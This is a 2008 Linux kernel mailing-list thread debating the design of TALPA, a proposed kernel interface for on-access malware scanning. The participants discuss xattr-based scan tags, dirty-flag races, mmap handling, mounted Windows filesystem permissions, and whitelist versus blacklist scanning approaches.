> I really think that we need to avoid trying to have a single 'known good' 
> flag/generationnrwith the inode.

I don't think we should have anything in the inode. We don't want to
bloat inode objects for this cornercase.

> if you store generation numbers for individual apps (in posix attributes 
> to pick something that could be available across a variety of 
> filesystems), you push this policy decision into userspace (where it

Agreed
 
> 1. define a tag namespace associated with the file that is reserved for 
> this purpose for example "scanned-by-*"

What controls somewhat writing such a tag on media remotely ? Locally you
can do this (although you are way too specialized in design - an LSM hook
for controlling tag setting or a general tag reservation sysfs interface
is more flexible than thinking just about scanners.

> 2. have an kernel option that will clear out this namespace whenever a 
> file is dirtied

That will generate enormous amounts of load if not carefully handled.

> 3. have a kernel mechanism to say "set this namespace tag if this other 
> namespace tag is set" (this allows a scanner to set a 'scanning' tag when 
> it starts and only set the 'blessed' tag if the file was not dirtied while 

User space problem. Set flags 'dirty', then set bit 'scanning'
clear 'dirty' then clear 'scanning' when finished. If the dirty flag got
set while you were scanning it will still be set now you've cleared you
scanning flag. Your access policy depends upon your level of paranoia (eg
"dirty|scanning == BAD")

> programs can set the "scanned-by-*" flags on that the 'libmalware' library 

We've already proved libmalware doesn't make sense

> L. the fact that knfsd would not use this can be worked around by running 
> FUSE (which would do the checks) and then exporting the result via knfsdw

Not if you want to get any work done.

> what did I over complicate in this design? or is it the minimum feature 
> set needed?
> 
> are any of the features I list impossible to implement?

Go write it and see, provide benchmarks ?  I don't see from this how you
handled shared mmap ?

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[david]

On Sat, 16 Aug 2008, Alan Cox wrote:

>> I really think that we need to avoid trying to have a single 'known good'
>> flag/generationnrwith the inode.
>
> I don't think we should have anything in the inode. We don't want to
> bloat inode objects for this cornercase.

no problem

>> if you store generation numbers for individual apps (in posix attributes
>> to pick something that could be available across a variety of
>> filesystems), you push this policy decision into userspace (where it
>
> Agreed
>
>> 1. define a tag namespace associated with the file that is reserved for
>> this purpose for example "scanned-by-*"
>
> What controls somewhat writing such a tag on media remotely ? Locally you
> can do this (although you are way too specialized in design - an LSM hook
> for controlling tag setting or a general tag reservation sysfs interface
> is more flexible than thinking just about scanners.

there are multiple approaches to this (i.e. a policy issue that belongs in 
userspace)

1. you trust the machines the media comes from, so you trust the scan 
results.

2. you don't trust the remote machines and you then either extend this 
model into a per filesystem approach (and invalidate/increment/change the 
genration key on the new media that's loaded), or you tryand make the 
generation key be cryptograhicly random, so that the odds of the 
generation key on the media being valid for the machine it's plugged into 
is next to impossible (generating a good GUID as the generation key as the 
signature/scanner is loaded would be pretty close to random for example)

you could do a LSM hook, but in many (if not most) cases it makes sense to 
have the tags stored across boots, so if you do it through LSM you have to 
figure out how/where to store it. if you can put it in posix extended 
attibutes most filesystems will handle it for you.

>> 2. have an kernel option that will clear out this namespace whenever a
>> file is dirtied
>
> That will generate enormous amounts of load if not carefully handled.

will it? if it's already empty trying to clear it should be cheap. it's 
like maintaining the dirty bit on a chunk of memory.

>> 3. have a kernel mechanism to say "set this namespace tag if this other
>> namespace tag is set" (this allows a scanner to set a 'scanning' tag when
>> it starts and only set the 'blessed' tag if the file was not dirtied while
>
> User space problem. Set flags 'dirty', then set bit 'scanning'
> clear 'dirty' then clear 'scanning' when finished. If the dirty flag got
> set while you were scanning it will still be set now you've cleared you
> scanning flag. Your access policy depends upon your level of paranoia (eg
> "dirty|scanning == BAD")

this still leaves a window between the time you last check that the dirty 
flag is still set, while you clear the dirty flag and set the clean flag 
that modifications could be made to the file and it will still get marked 
clean. if this race is small enough this feature can be skipped

>> programs can set the "scanned-by-*" flags on that the 'libmalware' library
>
> We've already proved libmalware doesn't make sense

I missed that part of the discussion. what I was reading was that people 
were saying that it worked for everything except staticly compiled 
binaries and knfsd.

why would it not make sense to have the checking in a userspace library 
(libmalware could be seperate or loaded from glibc or be part of glibc, 
depending on your level of concern

>> L. the fact that knfsd would not use this can be worked around by running
>> FUSE (which would do the checks) and then exporting the result via knfsdw
>
> Not if you want to get any work done.
>
>> what did I over complicate in this design? or is it the minimum feature
>> set needed?
>>
>> are any of the features I list impossible to implement?
>
> Go write it and see, provide benchmarks ?  I don't see from this how you
> handled shared mmap ?

the kernel detects writes to mmap and dirties the file (clearing the 
flags), the next time the file is accessed it will be re-scanned (assuming 
that the background scanner doesn't get there first) do the checks at the 
time of mmap, don't try to do it for each memory read.

as for two programs having the file open at the same time and the risk of 
passing bad data from one to the other. the risk model specifies we are 
not trying to protect against running programs. shared mmap is a 
communications channel between them just like a pipe, we aren't trying to 
protect inter-process communication (just like we aren't trying to protect 
network communication)

there are probably better answers, but I'm leaving that up to the folks 
who want to write all the scanning tools. I'm just trying to help by 
assembling the ideas different people mentioned during this thread into a 
minimaly invasive set of hooks that are useful beyond the AV space into 
other things that are needed (like HSM, indexing, or for that matter a 
backup daemon could gather the list of files it needs for an incrimental 
backup by listening for the kernel to tell it every file that changes 
instead of needing to scan TB worth of filesystems for them)

David Lang

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[David Collier-Brown]

Peter Dolding wrote:
> Currently if we have a unknown infection on a  windows partition that
> is been shared by linux the scanner on Linux cannot see that the
> windows permissions has been screwed with.   OS with badly damaged
> permissions is a sign of 1 of three things.  ...

It's more likely that the files will reside on Linux/Unix under
Samba, and so the permissions that Samba implements will be the ones
that the virus is trying to mess up.  These are implemented in
terms of the usual permission bits, plus extended attributes/ACLs.
Linux systems mounting Windows filesystems are somewhat unusual (;-))

--dave
-- 
David Collier-Brown            | Always do right. This will gratify
Sun Microsystems, Toronto      | some people and astonish the rest
davecb@sun.com                 |                      -- Mark Twain
cell: (647) 833-9377, bridge: (877) 385-4099 code: 506 9191#

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Peter Dolding]

On Mon, Aug 18, 2008 at 7:17 AM, David Collier-Brown <davecb@sun.com> wrote:
> Peter Dolding wrote:
>>
>> Currently if we have a unknown infection on a  windows partition that
>> is been shared by linux the scanner on Linux cannot see that the
>> windows permissions has been screwed with.   OS with badly damaged
>> permissions is a sign of 1 of three things.  ...
>
> It's more likely that the files will reside on Linux/Unix under
> Samba, and so the permissions that Samba implements will be the ones
> that the virus is trying to mess up.  These are implemented in
> terms of the usual permission bits, plus extended attributes/ACLs.
> Linux systems mounting Windows filesystems are somewhat unusual (;-))
>
More desktop use of Linux more cases of ntfs and fat mounted under
Linux.  Funny enough linux mounting windows file systems is 100
percent normal for most Ubuntu users so there are a lot of them out
there doing it.   I am future looking there are other filesystems
coming with there own issues as well.

Same issue with samba no common store for extra permissions exist so
on file systems that don't support there permissions storage it goes
back into there tdb storage.

Basically scanning everything to detect issues currently nicely
complex.  We have a huge permissions mess.  Some permissions are
processed by the file system drivers.  Some are processed by vfs then
others processed and stored by individual applications.   So no where
in Linux can you see all the permissions being applied to a single
file to be sure there is not a secuirty risk somewhere.  Samba or
equal allowing access to remove a virus signature from the black list
or added something that should not be allowed to the white list would
be major problems.

Posix has not helped US here at all.   No where in posix does it
provide anything to clean up this mess.  Does solarias have a solution
I know BSD and Linux does not.   I think all posix OS's have a mess in
this section.

Peter Dolding

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[david]

On Mon, 18 Aug 2008, Peter Dolding wrote:

> On Mon, Aug 18, 2008 at 7:17 AM, David Collier-Brown <davecb@sun.com> wrote:
>> Peter Dolding wrote:
>>>
>>> Currently if we have a unknown infection on a  windows partition that
>>> is been shared by linux the scanner on Linux cannot see that the
>>> windows permissions has been screwed with.   OS with badly damaged
>>> permissions is a sign of 1 of three things.  ...
>>
>> It's more likely that the files will reside on Linux/Unix under
>> Samba, and so the permissions that Samba implements will be the ones
>> that the virus is trying to mess up.  These are implemented in
>> terms of the usual permission bits, plus extended attributes/ACLs.
>> Linux systems mounting Windows filesystems are somewhat unusual (;-))
>>
> More desktop use of Linux more cases of ntfs and fat mounted under
> Linux.  Funny enough linux mounting windows file systems is 100
> percent normal for most Ubuntu users so there are a lot of them out
> there doing it.   I am future looking there are other filesystems
> coming with there own issues as well.

but what you are missing is that when they are mounted under linux it 
doesn't matter what hidden things the other OS may access, all that 
matters is what Linux sees. If Linux doesn't see something it can't serve 
it out to those other OSs.

those 'hidden things' would only matter if you were trying to use linux 
to scan a drive and bless it for another system to then mount locally. If 
we aren't trying to defend against that (and I don't hear anyone other 
then you saying we should) then we don't need to worry about such things.

If we were trying to make the drive safe for all other OSs to mount 
directly, then mearly seeing everything isn't enough, you would have to be 
able to fully duplicate how the other OS interprets the things you are 
seeing, and know all vunerabilities that arise from all possible 
interpretations. I don't think that's possible (and I don't think it would 
be possible even if the source for all those other OSs were available)

David Lang

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Peter Dolding]

On Mon, Aug 18, 2008 at 11:44 AM,  <david@lang.hm> wrote:
> On Mon, 18 Aug 2008, Peter Dolding wrote:
>
>> On Mon, Aug 18, 2008 at 7:17 AM, David Collier-Brown <davecb@sun.com>
>> wrote:
>>>
>>> Peter Dolding wrote:
>>>>
>>>> Currently if we have a unknown infection on a  windows partition that
>>>> is been shared by linux the scanner on Linux cannot see that the
>>>> windows permissions has been screwed with.   OS with badly damaged
>>>> permissions is a sign of 1 of three things.  ...
>>>
>>> It's more likely that the files will reside on Linux/Unix under
>>> Samba, and so the permissions that Samba implements will be the ones
>>> that the virus is trying to mess up.  These are implemented in
>>> terms of the usual permission bits, plus extended attributes/ACLs.
>>> Linux systems mounting Windows filesystems are somewhat unusual (;-))
>>>
>> More desktop use of Linux more cases of ntfs and fat mounted under
>> Linux.  Funny enough linux mounting windows file systems is 100
>> percent normal for most Ubuntu users so there are a lot of them out
>> there doing it.   I am future looking there are other filesystems
>> coming with there own issues as well.
>
> but what you are missing is that when they are mounted under linux it
> doesn't matter what hidden things the other OS may access, all that matters
> is what Linux sees. If Linux doesn't see something it can't serve it out to
> those other OSs.
>
> those 'hidden things' would only matter if you were trying to use linux to
> scan a drive and bless it for another system to then mount locally. If we
> aren't trying to defend against that (and I don't hear anyone other then you
> saying we should) then we don't need to worry about such things.
>
> If we were trying to make the drive safe for all other OSs to mount
> directly, then mearly seeing everything isn't enough, you would have to be
> able to fully duplicate how the other OS interprets the things you are
> seeing, and know all vunerabilities that arise from all possible
> interpretations. I don't think that's possible (and I don't think it would
> be possible even if the source for all those other OSs were available)
>
Matters directly for 2 cases to the Linux system itself.

First case HIDS spotting alteration to something like if someone
places signature files on a NTFS partition for some reason when it was
placed there it was X permission now its Y better inform the user that
this has happened.     Without being able to see the disk permissions
this could be missed due to no translation of permissions to vfs.  We
have Ubuntu users in this mix they will put it on NTFS if they are low
of disk space.

Second case is file system mount options changing the files that are
displayed in vfs so a full partition scan by a scanner running in
Linux is a full disk scan not some files missed here or there due to
hidden permissions and processing in the file system driver.

Next bits I think is not understanding how some defence tech works and
lack of experience in forensics.

Full hids monitoring does not depend on known how the OS will
interpret it picking up that month after month something has never
been changed and then all of a sudden something is changed to alert
you to look deeper.   Its more of a warning bell so that works without
ever understanding 100 percent how the permissions work.  When
compared to other machines setup in the same kind of way more fine
defects can turn up.  Same software Same applications same profiles
sent from server should be a 99 percent match other than SID number
being different.  Most of that variation from each other should turn
up in the first week of usage.   HIDS is basically anything stepping
out side normal go off.

Doing forensic recoveries on things I have learnt yes you can
duplicate how a OS will interpret its disk permissions.   Complexity
is directly linked to how tidy the OS's permission system is.
Windows is surprisingly not that bad.  Linux and BSD are level 10
pricks due to the fact config file over here may completely provide
access where disk permissions say no then you have the LSM permissions
to over lay.   So its a pain in tail to duplicate how some OS's would
interpret it but 100 percent do able if you know the software on top
even how that reacts is predictable without running it.   Forensic
working out a attack you do it.  Since running the OS only makes the
threat active worse let the threat cover its trail.   Lot of white
listing is performed in the process to confirm that programs have not
been messed with.  So there configuration files processing can be
trusted.  Its simply another myth that it cannot be done.  Off-line
scanning can be done if the scanner is setup for it yes more complex
process having to read stuff like the windows registry that is poorly
documented.   For fully documented OS's 100 its nothing more than
processing time.  Complete work out of course need the applications on
top that is of course documentation of operation again.   So no
magical non understandable stuff here.

Peter Dolding.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Alan Cox]

> This "permitted to execute" is what I feel is the wrong aproach with
> respect to malware. If you simply allow everything to 'execute', I think
> that untrusted programs may still be used for usefull things, but without
> the potential do do malice. If you start from the point where everything
> both trusted and untrusted  is permitted to be executed, you could make it
> the job of SELinux or any other LSM to make untrusted code run without
> doing malice, but with the possibility to still run and do usefull non
> malicious  stuff. This might require some aditional hooks in LSM though I
> could imagine.

SELinux is quite happy to apply different rules to content labelled in
different ways. WHat specific things do you need that it can't do ?

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Rob Meijer]

On Sun, August 17, 2008 10:58, david@lang.hm wrote:
> On Sun, 17 Aug 2008, Peter Dolding wrote:
>> Instead swap across to the shorter white list to process and sort.
>> Quarantining for black list scanning so performance of machine is hit
>> with the least ammount.  Some areas like email, p2p for people using
>> formats that should not contain macros or executable code white list
>> scanning there is all that is needed before either blocking or asking
>> user if black list scanning should be preformed or the file just
>> deleted.  Lets close the door's on these malware writers without hurt
>> end users any more than we have to.  What is the point of running a full
>> black list across a file the user will delete because it was not what
>> they thought it was.
>
> you are arguing with the wrong people here. we are not trying to define
> the future of anti-virus technologies, we are trying to figure out how to
> provide the hooks so that people and companies can go off and do the
> research and experimentation and try different approaches.

Given recent demonstrations that show how easy it apparently is to bypass
blacklist base approaches, providing hooks to allow these blacklist
approaches may I feel be rather futile. Focusing only on hooks for white
list approaches in combination with hooks for least authority approaches
like the powerbox would IMHO seem like a much more reasonable approach
given the current state of things and knowledge concerning the blacklist
technologies. Explicitly adding support for technology that is quickly
becoming obsolete would seem like a waste of time and resources.


Rob

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[david]

On Sun, 17 Aug 2008, Rob Meijer wrote:

> On Sun, August 17, 2008 10:58, david@lang.hm wrote:
>> On Sun, 17 Aug 2008, Peter Dolding wrote:
>>> Instead swap across to the shorter white list to process and sort.
>>> Quarantining for black list scanning so performance of machine is hit
>>> with the least ammount.  Some areas like email, p2p for people using
>>> formats that should not contain macros or executable code white list
>>> scanning there is all that is needed before either blocking or asking
>>> user if black list scanning should be preformed or the file just
>>> deleted.  Lets close the door's on these malware writers without hurt
>>> end users any more than we have to.  What is the point of running a full
>>> black list across a file the user will delete because it was not what
>>> they thought it was.
>>
>> you are arguing with the wrong people here. we are not trying to define
>> the future of anti-virus technologies, we are trying to figure out how to
>> provide the hooks so that people and companies can go off and do the
>> research and experimentation and try different approaches.
>
> Given recent demonstrations that show how easy it apparently is to bypass
> blacklist base approaches, providing hooks to allow these blacklist
> approaches may I feel be rather futile. Focusing only on hooks for white
> list approaches in combination with hooks for least authority approaches
> like the powerbox would IMHO seem like a much more reasonable approach
> given the current state of things and knowledge concerning the blacklist
> technologies. Explicitly adding support for technology that is quickly
> becoming obsolete would seem like a waste of time and resources.

we are not providing hooks for blacklists or whitelists, we are providing 
hooks for scanning. it's up to the software that doesn the scanning to 
implement the blacklist or whitelist.

David Lang

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Pavel Machek]

Hi!

> >>you are arguing with the wrong people here. we are not trying to define
> >>the future of anti-virus technologies, we are trying to figure out how to
> >>provide the hooks so that people and companies can go off and do the
> >>research and experimentation and try different approaches.
> >
> >Given recent demonstrations that show how easy it apparently is to bypass
> >blacklist base approaches, providing hooks to allow these blacklist
> >approaches may I feel be rather futile. Focusing only on hooks for white
> >list approaches in combination with hooks for least authority approaches
> >like the powerbox would IMHO seem like a much more reasonable approach
> >given the current state of things and knowledge concerning the blacklist
> >technologies. Explicitly adding support for technology that is quickly
> >becoming obsolete would seem like a waste of time and resources.
> 
> we are not providing hooks for blacklists or whitelists, we are providing 
> hooks for scanning. it's up to the software that doesn the scanning to 
> implement the blacklist or whitelist.

Actually, I don't think so.

If we wanted to whitelist permitted binaries, approach would be
something like "lets sign them"... and it seems IBM is working on
something like that with TPM infrastructure.
							Pavel
-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[david]

On Sun, 17 Aug 2008, Pavel Machek wrote:

>>>> you are arguing with the wrong people here. we are not trying to define
>>>> the future of anti-virus technologies, we are trying to figure out how to
>>>> provide the hooks so that people and companies can go off and do the
>>>> research and experimentation and try different approaches.
>>>
>>> Given recent demonstrations that show how easy it apparently is to bypass
>>> blacklist base approaches, providing hooks to allow these blacklist
>>> approaches may I feel be rather futile. Focusing only on hooks for white
>>> list approaches in combination with hooks for least authority approaches
>>> like the powerbox would IMHO seem like a much more reasonable approach
>>> given the current state of things and knowledge concerning the blacklist
>>> technologies. Explicitly adding support for technology that is quickly
>>> becoming obsolete would seem like a waste of time and resources.
>>
>> we are not providing hooks for blacklists or whitelists, we are providing
>> hooks for scanning. it's up to the software that doesn the scanning to
>> implement the blacklist or whitelist.
>
> Actually, I don't think so.
>
> If we wanted to whitelist permitted binaries, approach would be
> something like "lets sign them"... and it seems IBM is working on
> something like that with TPM infrastructure.

the structure I proposed would support this as well.

your 'scanner' program would do the signature and store it somewhere and 
mark the file as being scanned.

on access the checking software would see that you have marked it as being 
scanned and can avoid the overhead of reading the entire file to check 
it's signature (or you can configure it to do the full check again)

if the file gets written to the tag would get cleared and the file would 
not be used without being blessed by your scanner again (and your scanner 
my bless it if what happened was an OS update where the new file matches a 
known signature)

not quite as straightforward as you were probably thinking (you were 
probably thinking somthing like 'store the signature and have the kernel 
check it each time the file is opened'), but this would have the option of 
being faster by skipping the signature check if the file was tagged as 
already being checked.

David Lang